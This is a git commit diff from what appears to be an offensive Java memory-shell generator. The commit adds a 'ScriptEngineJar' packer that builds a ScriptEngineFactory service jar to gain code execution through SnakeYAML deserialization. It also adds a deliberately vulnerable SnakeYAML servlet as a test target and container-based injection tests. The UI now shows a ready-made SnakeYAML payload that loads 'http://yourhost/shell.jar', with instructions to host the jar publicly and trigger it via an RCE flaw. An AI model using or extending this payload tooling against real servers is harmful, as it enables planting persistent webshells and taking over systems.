feat: support scriptEngineJar packer

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.packer.AggregatePacker;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.jar.JarPacker;
 import org.springframework.web.bind.annotation.*;
 
 import java.util.Base64;
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
         InjectorConfig injectorConfig = request.getInjectorConfig();
         MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
         Packer packer = request.getPacker().getInstance();
+        if (packer instanceof AggregatePacker) {
+            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
+        }
         if (packer instanceof JarPacker) {
             return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
-        } else if (packer instanceof AggregatePacker) {
-            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
-        } else {
+        }
         return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
     }
-    }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

@@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator;
 import com.reajason.javaweb.memshell.MemShellResult;
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.*;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.Packers;
 import com.reajason.javaweb.packer.jar.AgentJarPacker;
 import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
 import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
-import com.reajason.javaweb.packer.jar.JarPacker;
+import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
 import com.reajason.javaweb.suo5.Suo5Manager;
 import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
@@ -21,12 +22,12 @@ import okhttp3.HttpUrl;
 import okhttp3.OkHttpClient;
 import okhttp3.Request;
 import okhttp3.Response;
-import org.testcontainers.containers.Container;
-import org.testcontainers.containers.GenericContainer;
 import org.apache.commons.io.FileUtils;
 import org.apache.commons.lang3.RandomStringUtils;
 import org.apache.commons.lang3.StringUtils;
 import org.apache.commons.lang3.tuple.Pair;
+import org.testcontainers.containers.Container;
+import org.testcontainers.containers.GenericContainer;
 import org.testcontainers.utility.MountableFile;
 
 import java.io.IOException;
@@ -107,6 +108,32 @@ public class ShellAssertion {
     @SneakyThrows
     public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
         String content = null;
+        if (packer.getInstance() instanceof AgentJarPacker ||
+                packer.getInstance() instanceof AgentJarWithJREAttacherPacker ||
+                packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
+            injectAgentJar(generateResult, shellTool, shellType, packer, appContainer);
+            return;
+        }
+        if (packer.getInstance() instanceof ScriptEngineJarPacker) {
+            byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
+            Path tempJar = Files.createTempFile("temp", "jar");
+            Files.write(tempJar, bytes);
+            String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
+            appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
+            FileUtils.deleteQuietly(tempJar.toFile());
+            content = "!!javax.script.ScriptEngineManager [\n" +
+                    "  !!java.net.URLClassLoader [[\n" +
+                    "    !!java.net.URL [\"file://" + jarPath + "\"]\n" +
+                    "  ]]\n" +
+                    "]";
+        } else {
+            content = packer.getInstance().pack(generateResult.toClassPackerConfig());
+        }
+        injectIsOk(url, shellType, shellTool, content, packer, appContainer);
+        log.info("send inject payload successfully");
+    }
+
+    private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) throws IOException, InterruptedException {
         if (packer.getInstance() instanceof AgentJarPacker) {
             byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
             Path tempJar = Files.createTempFile("temp", "jar");
@@ -143,13 +170,10 @@ public class ShellAssertion {
             assertThat(stdout, anyOf(
                     containsString("ok")
             ));
-        } else {
-            content = packer.getInstance().pack(generateResult.toClassPackerConfig());
-            injectIsOk(url, shellType, shellTool, content, packer, appContainer);
-            log.info("send inject payload successfully");
         }
     }
 
+
     @SneakyThrows
     public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
         switch (shellTool) {
@@ -365,6 +389,7 @@ public class ShellAssertion {
             case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
             case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
             case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
+            case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
             case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
             case Base64 -> VulTool.postIsOk(url + "/b64", content);
             case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java

@@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest {
                 arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
                 arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
                 arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
-                arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
+                arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
+                arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
         );
     }
 

memshell-party-common/src/main/java/com/reajason/javaweb/asm/ClassInterfaceUtils.java

@@ -0,0 +1,47 @@
+package com.reajason.javaweb.asm;
+
+import org.objectweb.asm.ClassReader;
+import org.objectweb.asm.ClassVisitor;
+import org.objectweb.asm.ClassWriter;
+import org.objectweb.asm.Opcodes;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/16
+ */
+public class ClassInterfaceUtils {
+
+    public static byte[] addInterface(byte[] bytes, String interfaceName) {
+        ClassReader cr = new ClassReader(bytes);
+        ClassWriter cw = new ClassWriter(cr, 0);
+        ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/'));
+        cr.accept(cv, 0);
+        return cw.toByteArray();
+    }
+
+
+    static class AddInterfaceClassAdapter extends ClassVisitor {
+
+        private final String interfaceToAdd;
+
+        public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) {
+            super(Opcodes.ASM9, cv);
+            this.interfaceToAdd = interfaceToAdd;
+        }
+
+        @Override
+        public void visit(int version, int access, String name,
+                          String signature, String superName, String[] interfaces) {
+            for (String itf : interfaces) {
+                if (itf.equals(interfaceToAdd)) {
+                    super.visit(version, access, name, signature, superName, interfaces);
+                    return;
+                }
+            }
+            String[] newInterfaces = new String[interfaces.length + 1];
+            System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length);
+            newInterfaces[interfaces.length] = interfaceToAdd;
+            super.visit(version, access, name, signature, superName, newInterfaces);
+        }
+    }
+}

memshell-party-common/src/test/java/com/reajason/javaweb/asm/ClassInterfaceUtilsTest.java

@@ -0,0 +1,120 @@
+package com.reajason.javaweb.asm;
+
+import net.bytebuddy.ByteBuddy;
+import org.junit.jupiter.api.Test;
+import org.objectweb.asm.ClassReader;
+
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineFactory;
+import java.io.Serializable;
+import java.util.Collections;
+import java.util.List;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/16
+ */
+class ClassInterfaceUtilsTest {
+
+    @Test
+    void test() {
+        String interfaceName = "javax.script.ScriptEngineFactory";
+        byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes();
+        byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
+        String[] interfaces = new ClassReader(newBytes).getInterfaces();
+        assertEquals(1, interfaces.length);
+        assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
+    }
+
+    @Test
+    void skipAdd(){
+        String interfaceName = "javax.script.ScriptEngineFactory";
+        byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes();
+        byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
+        String[] interfaces = new ClassReader(newBytes).getInterfaces();
+        assertEquals(1, interfaces.length);
+        assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
+    }
+
+    @Test
+    void addNewInterface(){
+        String interfaceName = "javax.script.ScriptEngineFactory";
+        byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes();
+        byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
+        String[] interfaces = new ClassReader(newBytes).getInterfaces();
+        assertEquals(2, interfaces.length);
+        assertEquals("java/io/Serializable", interfaces[0]);
+        assertEquals(interfaceName.replace(".", "/"), interfaces[1]);
+    }
+
+    static class EmptyInterface {
+    }
+
+    static class ScriptEngineFactoryClass implements ScriptEngineFactory {
+        @Override
+        public String getEngineName() {
+            return "";
+        }
+
+        @Override
+        public String getEngineVersion() {
+            return "";
+        }
+
+        @Override
+        public List<String> getExtensions() {
+            return Collections.emptyList();
+        }
+
+        @Override
+        public List<String> getMimeTypes() {
+            return Collections.emptyList();
+        }
+
+        @Override
+        public List<String> getNames() {
+            return Collections.emptyList();
+        }
+
+        @Override
+        public String getLanguageName() {
+            return "";
+        }
+
+        @Override
+        public String getLanguageVersion() {
+            return "";
+        }
+
+        @Override
+        public Object getParameter(String key) {
+            return null;
+        }
+
+        @Override
+        public String getMethodCallSyntax(String obj, String m, String... args) {
+            return "";
+        }
+
+        @Override
+        public String getOutputStatement(String toDisplay) {
+            return "";
+        }
+
+        @Override
+        public String getProgram(String... statements) {
+            return "";
+        }
+
+        @Override
+        public ScriptEngine getScriptEngine() {
+            return null;
+        }
+    }
+
+    static class Entity implements Serializable {
+
+    }
+}

packer/src/main/java/com/reajason/javaweb/packer/JarPacker.java

@@ -1,7 +1,4 @@
-package com.reajason.javaweb.packer.jar;
-
-import com.reajason.javaweb.packer.JarPackerConfig;
-import com.reajason.javaweb.packer.Packer;
+package com.reajason.javaweb.packer;
 
 /**
  * @author ReaJason

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

@@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
 import com.reajason.javaweb.packer.h2.H2JSPacker;
 import com.reajason.javaweb.packer.h2.H2JavacPacker;
 import com.reajason.javaweb.packer.h2.H2Packer;
-import com.reajason.javaweb.packer.jar.AgentJarPacker;
-import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
-import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
-import com.reajason.javaweb.packer.jar.DefaultJarPacker;
+import com.reajason.javaweb.packer.jar.*;
 import com.reajason.javaweb.packer.jexl.JEXLPacker;
 import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
 import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
@@ -72,7 +69,13 @@ public enum Packers {
     Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
     GzipBase64(new GzipBase64Packer(), Base64Packer.class),
 
-    Jar(new DefaultJarPacker()),
+    /**
+     * JSP 打包器
+     */
+    JSP(new JspPacker()),
+    ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
+    DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
+    JSPX(new JspxPacker(), JspPacker.class),
 
     /**
      * BigInteger
@@ -84,14 +87,6 @@ public enum Packers {
      */
     BCEL(new BCELPacker()),
 
-    /**
-     * JSP 打包器
-     */
-    JSP(new JspPacker()),
-    ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
-    DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
-    JSPX(new JspxPacker(), JspPacker.class),
-
     /**
      * 脚本引擎打包器
      */
@@ -168,6 +163,9 @@ public enum Packers {
     H2Javac(new H2JavacPacker(), H2Packer.class),
     H2JS(new H2JSPacker(), H2Packer.class),
 
+    Jar(new DefaultJarPacker()),
+    ScriptEngineJar(new ScriptEngineJarPacker()),
+
     XxlJob(new XxlJobPacker()),
     ;
     private final Packer instance;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarPacker.java

@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
 
 import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.JarPackerConfig;
 import lombok.SneakyThrows;
 import org.apache.commons.io.IOUtils;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJDKAttacherPacker.java

@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
 
 import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.JarPackerConfig;
 import com.reajason.javaweb.packer.jar.attach.Attacher;
 import com.reajason.javaweb.packer.jar.attach.VirtualMachine;

packer/src/main/java/com/reajason/javaweb/packer/jar/AgentJarWithJREAttacherPacker.java

@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
 
 import com.reajason.javaweb.ClassBytesShrink;
 import com.reajason.javaweb.asm.ClassRenameUtils;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.JarPackerConfig;
 import com.reajason.javaweb.packer.jar.attach.Attacher;
 import com.reajason.javaweb.packer.jar.attach.VirtualMachine;

packer/src/main/java/com/reajason/javaweb/packer/jar/DefaultJarPacker.java

@@ -1,5 +1,6 @@
 package com.reajason.javaweb.packer.jar;
 
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.JarPackerConfig;
 import lombok.SneakyThrows;
 

packer/src/main/java/com/reajason/javaweb/packer/jar/ScriptEngineJarPacker.java

@@ -0,0 +1,38 @@
+package com.reajason.javaweb.packer.jar;
+
+import com.reajason.javaweb.asm.ClassInterfaceUtils;
+import com.reajason.javaweb.packer.JarPacker;
+import com.reajason.javaweb.packer.JarPackerConfig;
+import lombok.SneakyThrows;
+
+import java.io.ByteArrayOutputStream;
+import java.nio.charset.StandardCharsets;
+import java.util.jar.JarEntry;
+import java.util.jar.JarOutputStream;
+import java.util.jar.Manifest;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/16
+ */
+public class ScriptEngineJarPacker implements JarPacker {
+
+    @Override
+    @SneakyThrows
+    public byte[] packBytes(JarPackerConfig config) {
+        String mainClassName = config.getMainClassName();
+        byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
+        byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory");
+        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
+        try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
+            targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
+            targetJar.write(bytes);
+            targetJar.closeEntry();
+
+            targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory"));
+            targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
+            targetJar.closeEntry();
+        }
+        return outputStream.toByteArray();
+    }
+}

vul/vul-webapp-deserialize/build.gradle.kts

@@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from(
 
 dependencies {
     implementation("com.caucho:hessian:4.0.66")
+    implementation("org.yaml:snakeyaml:1.27")
     providedCompile("javax.servlet:javax.servlet-api:3.1.0")
     testImplementation(libs.junit.jupiter)
     testRuntimeOnly(libs.junit.platform.launcher)

vul/vul-webapp-deserialize/src/main/java/SnakeYamlServlet.java

@@ -0,0 +1,22 @@
+import org.yaml.snakeyaml.Yaml;
+
+import javax.servlet.ServletException;
+import javax.servlet.annotation.WebServlet;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/16
+ */
+@WebServlet("/snakeYaml")
+public class SnakeYamlServlet extends HttpServlet {
+    @Override
+    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        Yaml yaml = new Yaml();
+        yaml.load(data);
+    }
+}

web/src/components/memshell/main-config-card.tsx

@@ -395,7 +395,9 @@ export default function MainConfigCard({
                       onCheckedChange={field.onChange}
                     />
                   </FormControl>
-                  <Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
+                  <Label htmlFor="staticInitialize">
+                    {t("common:staticInitialize")}
+                  </Label>
                 </FormItem>
               )}
             />

web/src/components/memshell/results/jar-result.tsx

@@ -1,16 +1,42 @@
+import { ScrollTextIcon } from "lucide-react";
 import { useTranslation } from "react-i18next";
+import CodeViewer from "@/components/code-viewer";
 import { Button } from "@/components/ui/button";
-import { downloadBytes } from "@/lib/utils";
+import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
+import { Separator } from "@/components/ui/separator";
+import { downloadBytes, formatBytes } from "@/lib/utils";
 import type { MemShellResult } from "@/types/memshell";
 
 export function JarResult({
+  packMethod,
   packResult,
   generateResult,
-}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) {
+}: Readonly<{
+  packMethod: string;
+  packResult: string;
+  generateResult?: MemShellResult;
+}>) {
   const { t } = useTranslation();
+  const isPureJar = packMethod === "Jar";
   return (
-    <div className="flex items-center justify-center">
+    <Card>
+      <CardHeader>
+        <CardTitle className="text-md flex items-center gap-2">
+          <ScrollTextIcon className="h-5" />
+          <span>{t("common:usage")}</span>
+        </CardTitle>
+      </CardHeader>
+      <CardContent>
+        <ol className="list-decimal list-inside space-y-4 text-sm">
+          <li className="flex items-center justify-between">
+            <span>
+              {t("common:download")} shell.jar (
+              {formatBytes(atob(packResult).length)})
+            </span>
             <Button
+              size="sm"
+              variant="outline"
+              className="w-28"
               type="button"
               onClick={() =>
                 downloadBytes(
@@ -20,8 +46,34 @@ export function JarResult({
                 )
               }
             >
-        {t("common:download")} Jar
+              {t("common:download")}
             </Button>
-    </div>
+          </li>
+          <Separator />
+          {isPureJar ? (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.trigger-injector-class-loading")}</li>
+            </>
+          ) : (
+            <>
+              <li>{t("memshell:tips.download-jar")}</li>
+              <li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
+              <CodeViewer
+                code={`!!javax.script.ScriptEngineManager [
+  !!java.net.URLClassLoader [[
+    !!java.net.URL ["http://yourhost/shell.jar"]
+  ]]
+]`}
+                language="java"
+                showLineNumbers={false}
+                wrapLongLines={true}
+                header={<div className="text-xs">SnakeYaml Payload</div>}
+              />
+            </>
+          )}
+        </ol>
+      </CardContent>
+    </Card>
   );
 }

web/src/components/memshell/results/result-component.tsx

@@ -18,7 +18,7 @@ export function ResultComponent({
 }>) {
   const showCode = packMethod === "JSP";
   const isAgent = packMethod.startsWith("Agent");
-  const isJar = packMethod === "Jar";
+  const isJar = packMethod.endsWith("Jar");
   const { t } = useTranslation();
   if (allPackResults) {
     return (
@@ -29,7 +29,6 @@ export function ResultComponent({
       />
     );
   }
-
   if (isAgent) {
     return (
       <AgentResult
@@ -42,12 +41,13 @@ export function ResultComponent({
   if (isJar) {
     return (
       <JarResult
+        packMethod={packMethod}
         packResult={packResult ?? ""}
         generateResult={generateResult}
       />
     );
   }
-  if (!isAgent && !isJar) {
+
   return (
     <CodeViewer
       code={packResult ?? ""}
@@ -56,9 +56,7 @@ export function ResultComponent({
           <span>
             {t("common:packerMethod")}：{packMethod}
           </span>
-            <span className="text-muted-foreground">
-              ({packResult?.length})
-            </span>
+          <span className="text-muted-foreground">({packResult?.length})</span>
         </div>
       }
       wrapLongLines={!showCode}
@@ -67,6 +65,4 @@ export function ResultComponent({
       height={350}
     />
   );
-  }
-  return null;
 }

web/src/components/memshell/tabs/classname-field.tsx

@@ -18,8 +18,7 @@ export function OptionalClassFormField({
   const initialShellClassName = form.getValues("shellClassName") ?? "";
   const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
   const [useRandomClassName, setUseRandomClassName] = useState(
-    () =>
-      !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
+    () => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
   );
   const [savedShellClassName, setSavedShellClassName] = useState(
     initialShellClassName,

web/src/components/probeshell/main-config-card.tsx

@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
   const renderDynamicFields = useCallback(() => {
     const isBodyMethod = watchedProbeMethod === "ResponseBody";
     const needParam =
-      watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
+      watchedProbeContent === "Command" ||
+      watchedProbeContent === "Bytecode" ||
+      watchedProbeContent === "ScriptEngine";
     const isSleepMethod = watchedProbeMethod === "Sleep";
     const isServerContent = watchedProbeContent === "Server";
 

web/src/i18n/memshell/en.json

@@ -54,5 +54,8 @@
   "tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
   "tips.targetServerNotFound": "Target server not found?",
   "tips.targetServerRequest": "Request",
-  "tips.try-to-use-shell": "Try to use the memory shell"
+  "tips.try-to-use-shell": "Try to use the memory shell",
+  "tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
+  "tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
+  "tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
 }

web/src/i18n/memshell/zh-CN.json

@@ -55,7 +55,7 @@
   "tips.targetServerNotFound": "找不到目标服务？",
   "tips.targetServerRequest": "请求适配",
   "tips.try-to-use-shell": "尝试利用内存马",
-  "shellNotWork": {
-    "title": "利用失败？"
-  }
+  "tips.download-jar": "下载 jar 包并上传至公网服务器，使其能通过 http 链接访问下载",
+  "tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
+  "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
 }

web/src/pages/probeshell.tsx

@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
       seconds: 5,
       sleepServer: "Tomcat",
       shrink: true,
-      staticInitialize: true
+      staticInitialize: true,
     },
   });
 

web/src/types/schema.ts

@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
   debug: yup.boolean().optional(),
   byPassJavaModule: yup.boolean().optional(),
   shrink: yup.boolean().optional(),
-  staticInitialize: yup.boolean().optional()
+  staticInitialize: yup.boolean().optional(),
 });
 
 type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;

web/src/utils/transformer.ts

@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
   const injectorConfig: InjectorConfig = {
     urlPattern: formValue.urlPattern,
     injectorClassName: formValue.injectorClassName,
-    staticInitialize: formValue.staticInitialize
+    staticInitialize: formValue.staticInitialize,
   };
   return {
     shellConfig,
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
     shrink: formValue.shrink,
     debug: formValue.debug,
     byPassJavaModule: formValue.byPassJavaModule,
-    staticInitialize: formValue.staticInitialize
+    staticInitialize: formValue.staticInitialize,
   };
   const probeContentConfig: ProbeContentConfig = {
     host: formValue.host,